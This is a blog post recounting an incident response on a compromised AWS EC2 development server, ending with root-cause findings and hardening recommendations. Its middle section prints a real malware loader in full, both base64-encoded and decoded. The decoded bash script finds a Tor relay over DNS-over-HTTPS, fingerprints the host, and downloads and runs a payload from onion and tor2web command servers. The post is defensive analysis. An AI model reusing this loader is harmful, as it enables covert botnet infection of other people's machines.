Anatomy of a Hack

12 min readFeb 26, 2021

I was recently called upon to do an incident response investigation and it turned up some interesting results. It started with an AWS abuse report alerting one of our clients that one of their EC2 instances had been observed attacking another host over the internet. I was tasked with providing the root cause analysis. Basically what happened and how? I haven’t been able to do many of these lately, so I was eager to dig in and see what I could find. There ended up being clear evidence of compromise. And the attacker even did us a favor and left behind one of their tools. It’s not every day that you get to peek behind the curtain of computer hacking. So if you’ve never done incident response like this, or you’ve never seen hackers’ exploits you might find this interesting. Note that all names, IP addresses and other identifying information here have been changed to protect the innocent.

Actually, hold on a sec. I should probably warn you NOT to attempt this on your own. If you have reason to believe that your host has been hacked, please drop whatever else you are doing and contact your cybersecurity staff. If you dive right in and just go marching around on your own, you will destroy critical evidence. Even navigating between directories and viewing files without changing them rewrites the MAC times (Modify, Access, Change) and will poison the evidence. Always follow your incident response plan and the directions of your security team. Unless of course you are the security team or it’s your own personal host running on your own private infrastructure. Then knock yourself out.

The Abuse Report

There are a few ways you might learn that one of your machines has been compromised. Maybe your antivirus software raises an alert. Maybe you have a network intrusion detection system (NIDS) in place. Or maybe you get notified by email that your host has been owned. Well that’s what happened this time. AWS sent us an abuse report. Here’s the evidence they provided.

> ##################################################################
> # Netscan detected from host <src_ip> #
> ##################################################################
>
> time protocol src_ip src_port dest_ip dest_port
> ------------------------------------------------------------------
> Mon Feb 8 16:54:19 2021 TCP <src_ip> 43786 => <dst_ip> 8081
> Mon Feb 8 16:54:19 2021 TCP <src_ip> 49336 => <dst_ip> 8081
> Mon Feb 8 16:54:19 2021 TCP <src_ip> 39930 => <dst_ip> 8081
[ SNIP ]
> Mon Feb 8 16:54:20 2021 TCP <src_ip> 58164 => <dst_ip> 8081
> Mon Feb 8 16:54:19 2021 TCP <src_ip> 39484 => <dst_ip> 8081
> Mon Feb 8 16:54:20 2021 TCP <src_ip> 39484 => <dst_ip> 8081

AWS was calling this a netscan, which is a bit vague. All the packets were coming from high ports and they were coming very rapidly. They were all targeting the same port on hosts in the same subnet. So this wasn’t a port scan. The destination port 8081 is usually associated with web traffic. Since it’s not one of the more common web ports like 80 or 443, it might be a test instance, a microservice or an API endpoint. Whatever it was, it looked to me like it trying to find instances of a particular service that it knew how to exploit.

Getting Access to Investigate

I met with the clients and was able to gain some basic information and get my bearings. I asked them what the purpose of the host was? It was a dev box. What services was it running? Web server, databases, and their custom app. Did it store or process any sensitive data? No, thank goodness. How did they normally access the host? SSH via a bastion host. It wasn’t still running was it? No it was stopped, but not terminated. This all sounded good. I let the clients know that I would do my best to find out what happened and to make recommendations as to how they could prevent it from happening again. I described what I would be doing, and assured them that I would take good notes and wouldn’t make any changes in their AWS account that we couldn’t back out of.

So they created an IAM admin role in AWS for me to AssumeRole into and they put my SSH public key on their bastion host. From there I could use their shared SSH key and connect to the compromised host.

After connecting to their AWS account and taking a brief look around I immediately noticed an issue. The compromised instance had a VPC security group with a bunch of network ports wide open to the public Internet. So my first finding was that the firewall settings were too permissive.

Setting Up a Safe Environment

I needed to set up an environment where I felt safe investigating. So to achieve this the first thing I did was to create an EBS snapshot of the compromised instance. That way I could do whatever I wanted to it and wouldn’t need to worry about destroying evidence because I had a clean backup. The next thing I did was to configure the security groups so as to deny all traffic to and from the public internet, only allowing SSH traffic from the bastion host. That way I could feel confident that if there was malware running on it, it wouldn’t be able to connect to a command and control server somewhere or open up a reverse shell.

Forensics Lite

I knew that I wanted to try and quickly determine the cause of the hack and understand at least enough about what went wrong so that I could make some reasonable recommendations to my clients regarding how they could prevent it from happening again. I wasn’t aiming to reverse engineer malware or preserve evidence in a forensically sound manner so that it could be presented in court. So I didn’t use any specialized tools for the investigation. I only used utilities already available on the system without installing anything. That’s why I’m saying this was forensics lite. It wasn’t a full fledged forensic investigation. If that had been required, I would have used a second investigation host like SWIFT or Kali Linux, mounted the suspect filesystem and created a complete timeline of all events. I would have looked at deleted files and slack space too. But that would have required a lot more effort and taken a lot of time that I frankly didn’t have. I needed to get back to trouble tickets and other security reviews.

The Examination

The first thing I did was start the script utility to save my entire session. It’s important for the investigator to take complete notes. Remembering that my clients were expecting to learn what happened and how, it wouldn’t have done any good to make a determination if I couldn’t show my work. I then became root so I could access everything on the system. No, you’re not supposed to go marching around as root, but I was in a hurry and I knew I had a good backup.

$ script
Script started, file is typescript
$ sudo su -
# whoami
# root

I could see it was running Centos Linux 7 (Core), one of the default AMIs.

# cat /etc/os-release | grep -i name
NAME=”CentOS Linux”
PRETTY_NAME=”CentOS Linux 7 (Core)”
CPE_NAME=”cpe:/o:centos:centos:7"

I looked at all the users in /etc/passwd. Nothing seemed unusual.

I looked at the open network ports. Nothing out of the ordinary.

# netstat -a | grep LISTEN | grep -v unix
tcp 0 0 0.0.0.0:postgres 0.0.0.0:* LISTEN
tcp 0 0 localhost:smtp 0.0.0.0:* LISTEN
tcp6 0 0 [::]:https [::]:* LISTEN
tcp6 0 0 [::]:mysql [::]:* LISTEN
tcp6 0 0 [::]:http [::]:* LISTEN
tcp6 0 0 [::]:postgres [::]:* LISTEN
tcp6 0 0 localhost:smtp [::]:* LISTEN

I used the lsof utility to show me what process was bound to what port. Everything seemed fine.

[root@ip-172–31–50–61 ~]# lsof -i :https
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
httpd 1115 root 6u IPv6 26233 0t0 TCP *:https (LISTEN)
httpd 1185 apache 6u IPv6 26233 0t0 TCP *:https (LISTEN)
httpd 1186 apache 6u IPv6 26233 0t0 TCP *:https (LISTEN)
httpd 1187 apache 6u IPv6 26233 0t0 TCP *:https (LISTEN)
httpd 1188 apache 6u IPv6 26233 0t0 TCP *:https (LISTEN)
httpd 1195 apache 6u IPv6 26233 0t0 TCP *:https (LISTEN)
monit 1488 root 5u IPv4 50122 0t0 TCP <FQDN>:54836-><ip_addr>:https (SYN_SENT)

I looked at the shell history of both the default centos user and the root user by issuing the history command. Again, nothing obviously suspicious.

Next I turned my attention to the system logs in /var/log and got my first clue. The SSH logs were empty, which is definitely weird. Not only the current log file, but also the archived, rotated logs too.

# ls -l secure*
-rw — — — — 1 root root 0 Feb 7 03:49 secure
-rw — — — — 1 root root 0 Jan 10 03:16 secure-20210117
-rw — — — — 1 root root 0 Jan 17 03:40 secure-20210124
-rw — — — — 1 root root 0 Jan 24 03:21 secure-20210131
-rw — — — — 1 root root 0 Jan 31 03:37 secure-20210207

The rest of the system logs were also empty: cron, messages and maillog. The most recent apache logs in /var/log/httpd were also all blank.

-rw-r — r — 1 root root 0 Oct 30 2019 access_log
-rw-r — r — 1 root root 0 Apr 22 2020 error_log
-rw-r — r — 1 root root 0 Feb 7 03:49 ssl_access_log
-rw-r — r — 1 root root 0 Feb 7 03:49 ssl_request_log

This is clear evidence of compromise. Obviously logs are not meant to be empty. Rootkits usually contain tools to scrub evidence of wrongdoing and that includes cleaning log files. Some will carefully remove just the log entries that the hacker’s activities have generated. Other less sophisticated log cleaners will just wipe everything out. Ours was the latter. Another thing we can learn here is that the attacker was able to gain root privileges. That is evident because these empty log files are owned by the root user. An unprivileged system user would not have been able to do this.

Next I looked at all the running processes on the system by issuing the ps command. I spent some time here because linux systems have a lot running, but I did notice a series of suspicious processes.

#ps auxw
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
[ SNIP ]
postgres 6142 0.0 0.0 113176 1408 ? S 21:24 0:00 /bin/bash /var/lib/pgsql/.systemd-service.sh
postgres 6145 0.0 0.0 113176 1488 ? S 21:24 0:00 bash
postgres 14922 0.0 0.0 113176 600 ? S 21:53 0:00 bash
postgres 14923 0.0 0.0 254620 3608 ? S 21:53 0:00 curl -4fsSLk checkip.amazonaws.com
postgres 15763 0.0 0.0 254624 3508 ? S 21:57 0:00 curl -4fsSLkA- -m200 y4mcrfeigcaa2robjk3azb2qwcd5hk45xpoaddupmdwv24qoggnmdbid.onion.sh/int.x86_64 -o./8201f14981f08c7a832710ef00ac0902 -e_postgres_x86_64_<hostname>
postgres 23058 0.0 0.0 113176 1400 ? S 20:24 0:00 /bin/bash /var/lib/pgsql/.systemd-service.sh
postgres 23061 0.0 0.0 113176 1488 ? S 20:24 0:00 bash

Why was the postgres user running bash? It’s just a system user meant to run the PostgreSQL database. It’s not meant to have interactive login sessions. Why is curl trying to check with amazonaws.com to see what it’s IP address is? Why is curl trying to download a file called int.x86_64 from a host in the onion.sh domain? .sh is the Top-level Domain (TLD) for Saint Helena, a British Island in the south Atlantic. And in this context, onion is usually associated with the TOR network, aka the dark web. See what I mean? Highly suspicious.

The Malware

One process in particular really caught my eye. I knew something wasn’t right about it.

postgres 23058 0.0 0.0 113176 1400 ? S 20:24 0:00 /bin/bash /var/lib/pgsql/.systemd-service.sh

systemd is the linux service manager. It runs startup scripts for server software. And those scripts are certainly not meant to be hidden files. Files that start with a dot (.) are hidden from the default view of directories and can be easily missed if you aren’t looking for them. In this context, it’s just a lightweight technique for hiding things. And I’m pretty sure that all standard startup scripts fork other processes and don’t keep running like this one. Anyway, here’s the contents of the file.

# cat /var/lib/pgsql/.systemd-service.sh
#!/bin/bash
exec &>/dev/null
echo hmYmVrPWjgeBWDuL9f0lNi0Y6f+TpJtCtQQ/FMlZiSyr2nbzRV2IyRshTqqz4rKi
echo aG1ZbVZyUFdqZ2VCV0R1TDlmMGxOaTBZNmYrVHBKdEN0UVEvRk1sWmlTeXIybmJ6UlYySXlSc2hUcXF6NHJLaQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ5NG1jcmZlaWdjYWEycm9iamszYXpiMnF3Y2Q1aGs0NXhwb2FkZHVwbWR3djI0cW9nZ25tZGJpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgZG5zLmRucy1vdmVyLWh0dHBzLmNvbSB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2guY2VudHJhbGV1LnBpLWRucy5jb20gZG9oLmRucy5zYiBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyBkbnMuZmxhdHVzbGlmaXIuaXMgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTEzKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8c29ydCAtdVJ8aGVhZCAtMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdG1wIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdCB0b3Iyd2ViLmlvIHRvcjJ3ZWIuc3Ugb25pb24uY29tLmRlIHRvcjJ3ZWIudG8gb25pb24uc2gKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

Ok that is obviously suuuuuuper suspicious. I mean who encodes their shell scripts in base64? Hackers do, that’s who. Kind of like trying to hide a dot-file, encoding with base64 is just meant to obfuscate things. It’s easy enough to decode, as you can see in the script it pipes encoded text into base64 -d then pipes the results into bash. So it’s a bash script. Here’s the decoded script:

hmYmVrPWjgeBWDuL9f0lNi0Y6f+TpJtCtQQ/FMlZiSyr2nbzRV2IyRshTqqz4rKi
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbind=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo “curl -4fsSLkA- -m200”)
t=$(echo “y4mcrfeigcaa2robjk3azb2qwcd5hk45xpoaddupmdwv24qoggnmdbid”)sockz() {
n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo “dns-query?name=relay.tor2socks.in”)
s=$($c https://${n[$((RANDOM%13))]}/$p | grep -oE “\b([0–9]{1,3}\.){3}[0–9]{1,3}\b” |tr ‘ ‘ ‘\n’|sort -uR|head -1)
}fexe() {
for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep ‘inet ‘|awk {‘print $2’}|md5sum|awk {‘print $1’})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}for h in tor2web.in tor2web.it tor2web.io tor2web.su onion.com.de tor2web.to onion.sh
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/01)/status; then
u $t.$h
else
break
fi
done

So if it’s not already obvious this is the malware. I have to admit it was pretty exciting finding this. It was cool to see the attacker’s tools and techniques, and It’s actually fairly sophisticated bash scripting. It does a few interesting things.

It stops recording it’s own shell history.
It checks to see who it’s running as, what it’s IP address is, what system architecture it’s running on, what it’s hostname is and what cron jobs it has running.
It opens a socks proxy connection through the tor network to it’s command and control server (C2), announces itself, downloads a file (the payload) and runs it.

At this point, I’d see enough to know that it was part of a botnet. I knew I wasn’t going to be able to attempt to reverse engineer the malware. So I turned to google to see what might already be known about it. And plenty of people had already blogged about their own servers getting compromised by this and similar malware. Here, here, here, and here for example.

I’m pretty confident that the malware is part of the DreamBus botnet. The timing of the attack being very recent, as well as the Postgres module add to my confidence that it is DreamBus, a variant of the older SystemdMiner.

The Root Cause

VPC security groups were misconfigured to be wide open to the public internet.
Being open to the public internet, postgres was vulnerable to a brute force attack.
A plausible explanation is that the hacker was able to gain a foothold on the system via postgres, use the COPY TO/FROM PROGRAM feature to download and run the payload, elevate their local privileges from the postgres user to the root user, and then gain persistence.

The Recovery

My recommendations to the clients were as follows.

The EC2 instance:

Do NOT try to clean up and re-use the compromised EC2 instance. Since the attacker had been able to gain persistence there was just no way that we would be able to trust the system going forward. Even if we had deleted the malware, the hacker could have had other tools installed that we didn’t know about.
Redeploy a fresh instance of the system with all vulnerabilities remediated.
Review the deployment pipeline and ensure that the system can be cleanly redeployed in as little time as possible.

Postgres:

Update the postgres software package to the latest version.
If you do not need to connect to postgres over the network, reconfigure it and it’s client software to connect via a UNIX domain socket.
Regarding the controversial COPY TO/FROM PROGRAM feature, make sure that all database users are not granted the pg_execute_server_program role.
Change the password(s) of the postgres database user(s).
Rewrite and tighten the scope of the VPC security groups to follow the Principle of Least Privilege (POLP), only allowing access to specific network ports from specific sources as needed.
Review the postgres configuration and improve it’s security posture wherever possible. Multiple postgres security hardening guides exist on the Internet.

The AWS account:

Audit the remaining infrastructure and remediate the same vulnerabilities from any and all instances if they exist.
Audit everything in the AWS account following good security practices and implementing and/or improving security controls by following any number of AWS account security hardening guides available on the Internet.
Enable enterprise SSO for all IAM users in the AWS account and enforce MFA.
Make use of the ScoutSuite tool to generate security recommendations.
And finally delete the resources that I had used during the investigation: the IAM Admin role, the EBS snapshot and the VPC security groups.

Lessons Learned

The final step in breach investigations is to learn from it. Hopefully the reason for this is obvious. But if we don’t learn from these incidents it’s certain that they will keep happening. In this incident, I spelled out the lessons learned pretty clearly in the root cause analysis and the recommendations to the client.

I’ll never grow tired of telling folks that they need to tighten the scope of their firewall rules. The public Internet is not a safe place. You cannot connect services to the Internet without them being discovered, probed and attacked, usually within minutes. So to me the biggest lesson learned here is to follow the Principle of Least Privilege (POLP) and only allow connections from known trusted sources. That’s clearly not the only thing you should do. I always advocate for a strategy of Defense in Depth with security controls in place at every layer including the network, the operating system, the deployment pipeline, the application, the business processes, the developers’ laptops, literally every layer. But the firewall is the first line of defense from hackers and it simply cannot be overlooked.